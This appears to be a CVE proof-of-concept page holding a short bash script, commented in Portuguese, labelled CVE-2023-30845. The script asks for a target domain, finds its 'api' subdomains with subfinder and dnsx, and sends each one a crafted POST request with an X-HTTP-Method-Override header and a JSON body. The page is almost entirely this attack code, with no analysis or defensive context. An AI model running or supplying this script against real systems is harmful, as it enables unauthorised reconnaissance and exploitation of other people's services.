4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-30845.sh SH
#!/bin/bash

echo "Digite a URL que deseja escanear:"
read alvo

# Executar Subfinder para encontrar subdomínios
subfinder -d "$alvo" -silent | dnsx -silent -asn | cut -d ' ' -f1 | grep --color 'api' > subdominios.txt

# Verificar se o arquivo subdominios.txt existe e não está vazio
if [ -s subdominios.txt ]; then
  echo "Subdomínios com 'api' encontrados:"
  cat subdominios.txt
  echo
  echo "Realizando solicitações HTTP POST nos subdomínios..."
  while read -r url; do
    # Usar o curl para fazer uma solicitação HTTP POST para a URL com a estrutura correta
    curl "$url/api" -X POST -H 'X-HTTP-Method-Override: POST' -H 'Content-Type: application/json' --data '{"username":"xyz"}'
    # Adicionar um espaço em branco para separar as saídas
    echo
  done < subdominios.txt
else
  echo "Nenhum subdomínio com 'api' encontrado."
fi

# Remover o arquivo de subdomínios temporário
rm subdominios.txt